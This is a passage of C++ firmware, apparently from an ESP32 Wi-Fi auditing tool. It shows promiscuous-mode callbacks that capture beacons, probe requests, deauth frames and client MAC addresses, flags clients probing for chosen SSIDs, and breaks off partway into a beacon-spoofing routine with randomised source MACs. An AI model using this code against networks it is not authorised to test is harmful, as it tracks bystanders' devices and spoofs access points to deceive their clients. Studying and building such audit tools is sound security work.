  1268. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1269. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1270. int len = snifferPacket->rx_ctrl.sig_len;
  1271. String display_string = "";
  1272. String src = "";
  1273. String essid = "";
  1274. if (type == WIFI_PKT_MGMT)
  1275. {
  1276. len -= 4;
  1277. int fctl = ntohs(frameControl->fctl);
  1278. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1279. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1280. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1281. #ifdef HAS_SCREEN
  1282. int buf = display_obj.display_buffer->size();
  1283. #else
  1284. int buf = 0;
  1285. #endif
  1286. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1287. {
  1288. char addr[] = "00:00:00:00:00:00";
  1289. getMAC(addr, snifferPacket->payload, 10);
  1290. src.concat(addr);
  1291. if (src == "de:ad:be:ef:de:ad") {
  1292. delay(random(0, 10));
  1293. Serial.print("RSSI: ");
  1294. Serial.print(snifferPacket->rx_ctrl.rssi);
  1295. Serial.print(" Ch: ");
  1296. Serial.print(snifferPacket->rx_ctrl.channel);
  1297. Serial.print(" BSSID: ");
  1298. Serial.print(addr);
  1299. //display_string.concat(addr);
  1300. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1301. Serial.print(" ESSID: ");
  1302. display_string.concat(" -> ");
  1303. // Just grab the first 255 bytes of the pwnagotchi beacon
  1304. // because that is where the name is
  1305. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1306. for (int i = 0; i < len - 37; i++)
  1307. {
  1308. Serial.print((char)snifferPacket->payload[i + 38]);
  1309. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1310. if (isAscii(snifferPacket->payload[i + 38]))
  1311. essid.concat((char)snifferPacket->payload[i + 38]);
  1312. else
  1313. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1314. }
  1315. //essid.concat("\": \"\"}}");
  1316. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1317. // Load json
  1318. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1319. DynamicJsonDocument json(1024); // ArduinoJson v6
  1320. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1321. // ArduinoJson v6
  1322. if (deserializeJson(json, essid)) {
  1323. Serial.println("\nCould not parse Pwnagotchi json");
  1324. display_string.concat(essid);
  1325. }
  1326. else {
  1327. Serial.println("\nSuccessfully parsed json");
  1328. String json_output;
  1329. //json.printTo(json_output); // ArduinoJson v5
  1330. serializeJson(json, json_output); // ArduinoJson v6
  1331. Serial.println(json_output);
  1332. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1333. }
  1334. int temp_len = display_string.length();
  1335. for (int i = 0; i < 40 - temp_len; i++)
  1336. {
  1337. display_string.concat(" ");
  1338. }
  1339. Serial.print(" ");
  1340. #ifdef HAS_SCREEN
  1341. if (display_obj.display_buffer->size() == 0)
  1342. {
  1343. display_obj.loading = true;
  1344. display_obj.display_buffer->add(display_string);
  1345. display_obj.loading = false;
  1346. }
  1347. #endif
  1348. Serial.println();
  1349. if (save_packet)
  1350. sd_obj.addPacket(snifferPacket->payload, len);
  1351. }
  1352. }
  1353. }
  1354. }
  1355. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1356. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1357. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1358. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1359. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1360. int len = snifferPacket->rx_ctrl.sig_len;
  1361. String display_string = "";
  1362. String essid = "";
  1363. String bssid = "";
  1364. if (type == WIFI_PKT_MGMT)
  1365. {
  1366. len -= 4;
  1367. int fctl = ntohs(frameControl->fctl);
  1368. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1369. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1370. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1371. #ifdef HAS_SCREEN
  1372. int buf = display_obj.display_buffer->size();
  1373. #else
  1374. int buf = 0;
  1375. #endif
  1376. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1377. {
  1378. char addr[] = "00:00:00:00:00:00";
  1379. getMAC(addr, snifferPacket->payload, 10);
  1380. bool in_list = false;
  1381. bool mac_match = true;
  1382. for (int i = 0; i < access_points->size(); i++) {
  1383. mac_match = true;
  1384. //Serial.print("Checking ");
  1385. //Serial.print(addr);
  1386. //Serial.println(" against " + (String)access_points->get(i).essid);
  1387. for (int x = 0; x < 6; x++) {
  1388. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1389. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1390. mac_match = false;
  1391. //Serial.println("MACs do not match");
  1392. break;
  1393. }
  1394. }
  1395. if (mac_match) {
  1396. in_list = true;
  1397. break;
  1398. }
  1399. }
  1400. if (!in_list) {
  1401. delay(random(0, 10));
  1402. Serial.print("RSSI: ");
  1403. Serial.print(snifferPacket->rx_ctrl.rssi);
  1404. Serial.print(" Ch: ");
  1405. Serial.print(snifferPacket->rx_ctrl.channel);
  1406. Serial.print(" BSSID: ");
  1407. Serial.print(addr);
  1408. display_string.concat(addr);
  1409. Serial.print(" ESSID: ");
  1410. display_string.concat(" -> ");
  1411. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1412. {
  1413. Serial.print((char)snifferPacket->payload[i + 38]);
  1414. display_string.concat((char)snifferPacket->payload[i + 38]);
  1415. essid.concat((char)snifferPacket->payload[i + 38]);
  1416. }
  1417. bssid.concat(addr);
  1418. int temp_len = display_string.length();
  1419. for (int i = 0; i < 40 - temp_len; i++)
  1420. {
  1421. display_string.concat(" ");
  1422. }
  1423. Serial.print(" ");
  1424. #ifdef HAS_SCREEN
  1425. if (display_obj.display_buffer->size() == 0)
  1426. {
  1427. display_obj.loading = true;
  1428. display_obj.display_buffer->add(display_string);
  1429. display_obj.loading = false;
  1430. }
  1431. #endif
  1432. if (essid == "") {
  1433. essid = bssid;
  1434. Serial.print(essid + " ");
  1435. }
  1436. //LinkedList<char> beacon = new LinkedList<char>();
  1437. /*AccessPoint ap = {essid,
  1438. snifferPacket->rx_ctrl.channel,
  1439. {snifferPacket->payload[10],
  1440. snifferPacket->payload[11],
  1441. snifferPacket->payload[12],
  1442. snifferPacket->payload[13],
  1443. snifferPacket->payload[14],
  1444. snifferPacket->payload[15]},
  1445. false,
  1446. NULL};*/
  1447. AccessPoint ap;
  1448. ap.essid = essid;
  1449. ap.channel = snifferPacket->rx_ctrl.channel;
  1450. ap.bssid[0] = snifferPacket->payload[10];
  1451. ap.bssid[1] = snifferPacket->payload[11];
  1452. ap.bssid[2] = snifferPacket->payload[12];
  1453. ap.bssid[3] = snifferPacket->payload[13];
  1454. ap.bssid[4] = snifferPacket->payload[14];
  1455. ap.bssid[5] = snifferPacket->payload[15];
  1456. ap.selected = false;
  1457. ap.stations = new LinkedList<int>();
  1458. ap.beacon = new LinkedList<char>();
  1459. //for (int i = 0; i < len; i++) {
  1460. // ap.beacon->add(snifferPacket->payload[i]);
  1461. //}
  1462. ap.beacon->add(snifferPacket->payload[34]);
  1463. ap.beacon->add(snifferPacket->payload[35]);
  1464. Serial.print("\nBeacon: ");
  1465. for (int i = 0; i < ap.beacon->size(); i++) {
  1466. char hexCar[4];
  1467. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1468. Serial.print(hexCar);
  1469. if ((i + 1) % 16 == 0)
  1470. Serial.print("\n");
  1471. else
  1472. Serial.print(" ");
  1473. }
  1474. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1475. access_points->add(ap);
  1476. Serial.print(access_points->size());
  1477. Serial.println();
  1478. if (save_packet)
  1479. sd_obj.addPacket(snifferPacket->payload, len);
  1480. }
  1481. }
  1482. }
  1483. }
  1484. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1485. {
  1486. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1487. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1488. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1489. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1490. int len = snifferPacket->rx_ctrl.sig_len;
  1491. String display_string = "";
  1492. String essid = "";
  1493. String bssid = "";
  1494. if (type == WIFI_PKT_MGMT)
  1495. {
  1496. len -= 4;
  1497. int fctl = ntohs(frameControl->fctl);
  1498. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1499. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1500. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1501. #ifdef HAS_SCREEN
  1502. int buf = display_obj.display_buffer->size();
  1503. #else
  1504. int buf = 0;
  1505. #endif
  1506. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1507. {
  1508. char addr[] = "00:00:00:00:00:00";
  1509. getMAC(addr, snifferPacket->payload, 10);
  1510. bool in_list = false;
  1511. bool mac_match = true;
  1512. for (int i = 0; i < access_points->size(); i++) {
  1513. mac_match = true;
  1514. //Serial.print("Checking ");
  1515. //Serial.print(addr);
  1516. //Serial.println(" against " + (String)access_points->get(i).essid);
  1517. for (int x = 0; x < 6; x++) {
  1518. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1519. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1520. mac_match = false;
  1521. //Serial.println("MACs do not match");
  1522. break;
  1523. }
  1524. }
  1525. if (mac_match) {
  1526. in_list = true;
  1527. break;
  1528. }
  1529. }
  1530. if (!in_list) {
  1531. delay(random(0, 10));
  1532. Serial.print("RSSI: ");
  1533. Serial.print(snifferPacket->rx_ctrl.rssi);
  1534. Serial.print(" Ch: ");
  1535. Serial.print(snifferPacket->rx_ctrl.channel);
  1536. Serial.print(" BSSID: ");
  1537. Serial.print(addr);
  1538. display_string.concat(addr);
  1539. Serial.print(" ESSID: ");
  1540. display_string.concat(" -> ");
  1541. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1542. {
  1543. Serial.print((char)snifferPacket->payload[i + 38]);
  1544. display_string.concat((char)snifferPacket->payload[i + 38]);
  1545. essid.concat((char)snifferPacket->payload[i + 38]);
  1546. }
  1547. bssid.concat(addr);
  1548. int temp_len = display_string.length();
  1549. for (int i = 0; i < 40 - temp_len; i++)
  1550. {
  1551. display_string.concat(" ");
  1552. }
  1553. Serial.print(" ");
  1554. #ifdef HAS_SCREEN
  1555. if (display_obj.display_buffer->size() == 0)
  1556. {
  1557. display_obj.loading = true;
  1558. display_obj.display_buffer->add(display_string);
  1559. display_obj.loading = false;
  1560. }
  1561. #endif
  1562. if (essid == "") {
  1563. essid = bssid;
  1564. Serial.print(essid + " ");
  1565. }
  1566. AccessPoint ap = {essid,
  1567. snifferPacket->rx_ctrl.channel,
  1568. {snifferPacket->payload[10],
  1569. snifferPacket->payload[11],
  1570. snifferPacket->payload[12],
  1571. snifferPacket->payload[13],
  1572. snifferPacket->payload[14],
  1573. snifferPacket->payload[15]},
  1574. false,
  1575. NULL,
  1576. snifferPacket->rx_ctrl.rssi,
  1577. new LinkedList<int>()};
  1578. access_points->add(ap);
  1579. Serial.print(access_points->size());
  1580. Serial.println();
  1581. if (save_packet)
  1582. sd_obj.addPacket(snifferPacket->payload, len);
  1583. }
  1584. }
  1585. }
  1586. }
  1587. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1588. {
  1589. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1590. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1591. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1592. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1593. int len = snifferPacket->rx_ctrl.sig_len;
  1594. String display_string = "";
  1595. if (type == WIFI_PKT_MGMT)
  1596. {
  1597. len -= 4;
  1598. int fctl = ntohs(frameControl->fctl);
  1599. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1600. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1601. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1602. #ifdef HAS_SCREEN
  1603. int buf = display_obj.display_buffer->size();
  1604. #else
  1605. int buf = 0;
  1606. #endif
  1607. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1608. {
  1609. delay(random(0, 10));
  1610. Serial.print("RSSI: ");
  1611. Serial.print(snifferPacket->rx_ctrl.rssi);
  1612. Serial.print(" Ch: ");
  1613. Serial.print(snifferPacket->rx_ctrl.channel);
  1614. Serial.print(" BSSID: ");
  1615. char addr[] = "00:00:00:00:00:00";
  1616. getMAC(addr, snifferPacket->payload, 10);
  1617. Serial.print(addr);
  1618. display_string.concat(addr);
  1619. Serial.print(" ESSID: ");
  1620. display_string.concat(" -> ");
  1621. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1622. {
  1623. Serial.print((char)snifferPacket->payload[i + 38]);
  1624. display_string.concat((char)snifferPacket->payload[i + 38]);
  1625. }
  1626. int temp_len = display_string.length();
  1627. #ifdef HAS_SCREEN
  1628. for (int i = 0; i < 40 - temp_len; i++)
  1629. {
  1630. display_string.concat(" ");
  1631. }
  1632. Serial.print(" ");
  1633. if (display_obj.display_buffer->size() == 0)
  1634. {
  1635. display_obj.loading = true;
  1636. display_obj.display_buffer->add(display_string);
  1637. display_obj.loading = false;
  1638. }
  1639. #endif
  1640. Serial.println();
  1641. if (save_packet)
  1642. sd_obj.addPacket(snifferPacket->payload, len);
  1643. }
  1644. }
  1645. }
  1646. void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1647. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1648. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1649. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1650. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1651. int len = snifferPacket->rx_ctrl.sig_len;
  1652. String display_string = "";
  1653. String mac = "";
  1654. if (type == WIFI_PKT_MGMT)
  1655. {
  1656. len -= 4;
  1657. int fctl = ntohs(frameControl->fctl);
  1658. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1659. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1660. }
  1661. char ap_addr[] = "00:00:00:00:00:00";
  1662. char dst_addr[] = "00:00:00:00:00:00";
  1663. int ap_index = 0;
  1664. // Check if frame has ap in list of APs and determine position
  1665. uint8_t frame_offset = 0;
  1666. int offsets[2] = {10, 4};
  1667. bool matched_ap = false;
  1668. bool ap_is_src = false;
  1669. bool mac_match = true;
  1670. for (int y = 0; y < 2; y++) {
  1671. for (int i = 0; i < access_points->size(); i++) {
  1672. mac_match = true;
  1673. for (int x = 0; x < 6; x++) {
  1674. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1675. if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
  1676. mac_match = false;
  1677. break;
  1678. }
  1679. }
  1680. if (mac_match) {
  1681. matched_ap = true;
  1682. if (offsets[y] == 10)
  1683. ap_is_src = true;
  1684. ap_index = i;
  1685. getMAC(ap_addr, snifferPacket->payload, offsets[y]);
  1686. break;
  1687. }
  1688. }
  1689. if (matched_ap)
  1690. break;
  1691. }
  1692. // If did not find ap from list in frame, drop frame
  1693. if (!matched_ap)
  1694. return;
  1695. else {
  1696. if (ap_is_src)
  1697. frame_offset = 4;
  1698. else
  1699. frame_offset = 10;
  1700. }
  1701. /* Stuff to care about now
  1702. * ap_is_src
  1703. * ap_index
  1704. */
  1705. // Check if we already have this station
  1706. bool in_list = false;
  1707. for (int i = 0; i < stations->size(); i++) {
  1708. mac_match = true;
  1709. for (int x = 0; x < 6; x++) {
  1710. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1711. if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
  1712. mac_match = false;
  1713. //Serial.println("MACs do not match");
  1714. break;
  1715. }
  1716. }
  1717. if (mac_match) {
  1718. in_list = true;
  1719. break;
  1720. }
  1721. }
  1722. getMAC(dst_addr, snifferPacket->payload, 4);
  1723. // Check if dest is broadcast
  1724. if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
  1725. return;
  1726. // Add to list of stations
  1727. Station sta = {
  1728. {snifferPacket->payload[frame_offset],
  1729. snifferPacket->payload[frame_offset + 1],
  1730. snifferPacket->payload[frame_offset + 2],
  1731. snifferPacket->payload[frame_offset + 3],
  1732. snifferPacket->payload[frame_offset + 4],
  1733. snifferPacket->payload[frame_offset + 5]},
  1734. false};
  1735. stations->add(sta);
  1736. // Print findings to serial
  1737. Serial.print((String)stations->size() + ": ");
  1738. char sta_addr[] = "00:00:00:00:00:00";
  1739. if (ap_is_src) {
  1740. Serial.print("ap: ");
  1741. Serial.print(ap_addr);
  1742. Serial.print(" -> sta: ");
  1743. getMAC(sta_addr, snifferPacket->payload, 4);
  1744. Serial.println(sta_addr);
  1745. }
  1746. else {
  1747. Serial.print("sta: ");
  1748. getMAC(sta_addr, snifferPacket->payload, 10);
  1749. Serial.print(sta_addr);
  1750. Serial.print(" -> ap: ");
  1751. Serial.println(ap_addr);
  1752. }
  1753. display_string.concat(sta_addr);
  1754. display_string.concat(" -> ");
  1755. display_string.concat(access_points->get(ap_index).essid);
  1756. int temp_len = display_string.length();
  1757. #ifdef HAS_SCREEN
  1758. for (int i = 0; i < 40 - temp_len; i++)
  1759. {
  1760. display_string.concat(" ");
  1761. }
  1762. Serial.print(" ");
  1763. if (display_obj.display_buffer->size() == 0)
  1764. {
  1765. display_obj.loading = true;
  1766. display_obj.display_buffer->add(display_string);
  1767. display_obj.loading = false;
  1768. }
  1769. #endif
  1770. // Add station index to AP in list
  1771. //access_points->get(ap_index).stations->add(stations->size() - 1);
  1772. AccessPoint ap = access_points->get(ap_index);
  1773. ap.stations->add(stations->size() - 1);
  1774. access_points->set(ap_index, ap);
  1775. if (save_packet)
  1776. sd_obj.addPacket(snifferPacket->payload, len);
  1777. }
  1778. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1779. {
  1780. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1781. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1782. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1783. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1784. int len = snifferPacket->rx_ctrl.sig_len;
  1785. String display_string = "";
  1786. if (type == WIFI_PKT_MGMT)
  1787. {
  1788. len -= 4;
  1789. int fctl = ntohs(frameControl->fctl);
  1790. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1791. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1792. }
  1793. Serial.print("RSSI: ");
  1794. Serial.print(snifferPacket->rx_ctrl.rssi);
  1795. Serial.print(" Ch: ");
  1796. Serial.print(snifferPacket->rx_ctrl.channel);
  1797. Serial.print(" BSSID: ");
  1798. char addr[] = "00:00:00:00:00:00";
  1799. getMAC(addr, snifferPacket->payload, 10);
  1800. Serial.print(addr);
  1801. display_string.concat(text_table4[0]);
  1802. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1803. display_string.concat(" ");
  1804. display_string.concat(addr);
  1805. int temp_len = display_string.length();
  1806. #ifdef HAS_SCREEN
  1807. for (int i = 0; i < 40 - temp_len; i++)
  1808. {
  1809. display_string.concat(" ");
  1810. }
  1811. Serial.print(" ");
  1812. if (display_obj.display_buffer->size() == 0)
  1813. {
  1814. display_obj.loading = true;
  1815. display_obj.display_buffer->add(display_string);
  1816. display_obj.loading = false;
  1817. }
  1818. #endif
  1819. Serial.println();
  1820. if (save_packet)
  1821. sd_obj.addPacket(snifferPacket->payload, len);
  1822. }
  1823. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1824. {
  1825. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1826. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1827. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1828. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1829. int len = snifferPacket->rx_ctrl.sig_len;
  1830. String display_string = "";
  1831. if (type == WIFI_PKT_MGMT)
  1832. {
  1833. len -= 4;
  1834. int fctl = ntohs(frameControl->fctl);
  1835. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1836. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1837. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1838. #ifdef HAS_SCREEN
  1839. int buf = display_obj.display_buffer->size();
  1840. #else
  1841. int buf = 0;
  1842. #endif
  1843. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1844. {
  1845. delay(random(0, 10));
  1846. Serial.print("RSSI: ");
  1847. Serial.print(snifferPacket->rx_ctrl.rssi);
  1848. Serial.print(" Ch: ");
  1849. Serial.print(snifferPacket->rx_ctrl.channel);
  1850. Serial.print(" BSSID: ");
  1851. char addr[] = "00:00:00:00:00:00";
  1852. char dst_addr[] = "00:00:00:00:00:00";
  1853. getMAC(addr, snifferPacket->payload, 10);
  1854. getMAC(dst_addr, snifferPacket->payload, 4);
  1855. Serial.print(addr);
  1856. Serial.print(" -> ");
  1857. Serial.print(dst_addr);
  1858. display_string.concat(text_table4[0]);
  1859. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1860. display_string.concat(" ");
  1861. display_string.concat(addr);
  1862. #ifdef HAS_SCREEN
  1863. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1864. {
  1865. display_string.concat(" ");
  1866. }
  1867. Serial.print(" ");
  1868. if (display_obj.display_buffer->size() == 0)
  1869. {
  1870. display_obj.loading = true;
  1871. display_obj.display_buffer->add(display_string);
  1872. display_obj.loading = false;
  1873. }
  1874. #endif
  1875. Serial.println();
  1876. if (save_packet)
  1877. sd_obj.addPacket(snifferPacket->payload, len);
  1878. }
  1879. }
  1880. }
  1881. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1882. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1883. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1884. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1885. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1886. int len = snifferPacket->rx_ctrl.sig_len;
  1887. String display_string = "";
  1888. if (type == WIFI_PKT_MGMT)
  1889. {
  1890. len -= 4;
  1891. int fctl = ntohs(frameControl->fctl);
  1892. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1893. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1894. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1895. #ifdef HAS_SCREEN
  1896. int buf = display_obj.display_buffer->size();
  1897. #else
  1898. int buf = 0;
  1899. #endif
  1900. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1901. {
  1902. delay(random(0, 10));
  1903. Serial.print("RSSI: ");
  1904. Serial.print(snifferPacket->rx_ctrl.rssi);
  1905. Serial.print(" Ch: ");
  1906. Serial.print(snifferPacket->rx_ctrl.channel);
  1907. Serial.print(" Client: ");
  1908. char addr[] = "00:00:00:00:00:00";
  1909. getMAC(addr, snifferPacket->payload, 10);
  1910. Serial.print(addr);
  1911. display_string.concat(addr);
  1912. Serial.print(" Requesting: ");
  1913. display_string.concat(" -> ");
  1914. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1915. {
  1916. Serial.print((char)snifferPacket->payload[26 + i]);
  1917. display_string.concat((char)snifferPacket->payload[26 + i]);
  1918. }
  1919. // Print spaces because of the rotating lines of the hardware scroll.
  1920. // The same characters print from previous lines so I just overwrite them
  1921. // with spaces.
  1922. #ifdef HAS_SCREEN
  1923. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1924. {
  1925. display_string.concat(" ");
  1926. }
  1927. if (display_obj.display_buffer->size() == 0)
  1928. {
  1929. //while (display_obj.printing)
  1930. // delay(1);
  1931. display_obj.loading = true;
  1932. display_obj.display_buffer->add(display_string);
  1933. display_obj.loading = false;
  1934. }
  1935. #endif
  1936. Serial.println();
  1937. if (save_packet)
  1938. sd_obj.addPacket(snifferPacket->payload, len);
  1939. }
  1940. }
  1941. }
  1942. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1943. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1944. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1945. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1946. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1947. int len = snifferPacket->rx_ctrl.sig_len;
  1948. String display_string = "";
  1949. String essid = "";
  1950. bool found = false;
  1951. if (type == WIFI_PKT_MGMT)
  1952. {
  1953. len -= 4;
  1954. int fctl = ntohs(frameControl->fctl);
  1955. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1956. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1957. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1958. #ifdef HAS_SCREEN
  1959. int buf = display_obj.display_buffer->size();
  1960. #else
  1961. int buf = 0;
  1962. #endif
  1963. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1964. {
  1965. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1966. {
  1967. essid.concat((char)snifferPacket->payload[26 + i]);
  1968. }
  1969. for (int i = 0; i < ssids->size(); i++) {
  1970. if (ssids->get(i).essid == essid) {
  1971. Serial.println("Found a sheep");
  1972. found = true;
  1973. break;
  1974. }
  1975. }
  1976. if (!found)
  1977. return;
  1978. delay(random(0, 10));
  1979. Serial.print("RSSI: ");
  1980. Serial.print(snifferPacket->rx_ctrl.rssi);
  1981. Serial.print(" Ch: ");
  1982. Serial.print(snifferPacket->rx_ctrl.channel);
  1983. Serial.print(" Client: ");
  1984. char addr[] = "00:00:00:00:00:00";
  1985. getMAC(addr, snifferPacket->payload, 10);
  1986. Serial.print(addr);
  1987. display_string.concat(addr);
  1988. Serial.print(" Requesting: ");
  1989. display_string.concat(" -> ");
  1990. // ESSID
  1991. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1992. {
  1993. Serial.print((char)snifferPacket->payload[26 + i]);
  1994. display_string.concat((char)snifferPacket->payload[26 + i]);
  1995. }
  1996. // Print spaces because of the rotating lines of the hardware scroll.
  1997. // The same characters print from previous lines so I just overwrite them
  1998. // with spaces.
  1999. #ifdef HAS_SCREEN
  2000. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  2001. {
  2002. display_string.concat(" ");
  2003. }
  2004. if (display_obj.display_buffer->size() == 0)
  2005. {
  2006. display_obj.loading = true;
  2007. display_obj.display_buffer->add(display_string);
  2008. display_obj.loading = false;
  2009. }
  2010. #endif
  2011. Serial.println();
  2012. if (save_packet)
  2013. sd_obj.addPacket(snifferPacket->payload, len);
  2014. }
  2015. }
  2016. }
  2017. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  2018. set_channel = random(1,12);
  2019. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2020. delay(1);
  2021. if (custom_ssid.beacon->size() == 0)
  2022. return;
  2023. // Randomize SRC MAC
  2024. // Randomize SRC MAC
  2025. packet[10] = packet[16] = random(256);
  2026. packet[11] = packet[17] = random(256);
  2027. packet[12] = packet[18] = random(256);
  2028. packet[13] = packet[19] = random(256);
  2029. packet[14] = packet[20] = random(256);
  2030. packet[15] = packet[21] = random(256);
  2031. char ESSID[custom_ssid.essid.length() + 1] = {};
  2032. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2033. int realLen = strlen(ESSID);
  2034. int ssidLen = random(realLen, 33);
